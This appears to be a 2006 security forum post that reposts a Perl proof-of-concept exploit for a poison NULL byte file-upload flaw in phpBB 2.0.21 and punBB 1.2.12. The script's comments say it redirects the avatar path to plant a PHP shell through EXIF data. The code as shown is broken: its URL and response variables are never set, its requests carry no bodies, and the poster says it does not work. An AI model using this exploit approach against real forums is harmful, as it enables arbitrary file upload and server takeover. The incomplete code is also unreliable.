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www.waraxe.us Forum Index -> PhpBB -> multiple PHP application poison NULL byte vulnerability
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multiple PHP application poison NULL byte vulnerability
PostPosted: Mon Sep 25, 2006 8:32 am Reply with quote
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Joined: May 16, 2005
Posts: 37


#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
# Poison  NULL  byte vulnerability for perl CGI applications was described
# in  [1].  ShAnKaR  noted, that same vulnerability also affects different
# PHP  applications.  An  example of vulnerable applications are phpBB and
# punBB.
# Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
# In  case  of  phpBB and punBB vulnerability can be exploited by changing
# location  of avatar file and uploading avatar file with PHP code in EXIF
# data.
# A PoC exploit to change Avatar file location for phpBB:

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());

my $req = new HTTP::Request 'POST',$url;
my $res = $ua->request($req);

$content=~ m/true&sid=([^"]+)"/g;
print $content;
$req = new HTTP::Request 'POST',$url;
$res = $ua->request($req);

$req = new HTTP::Request 'POST',$url;
$res = $ua->request($req);
print $content;

Can't get it working anyone can test it ?
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multiple PHP application poison NULL byte vulnerability
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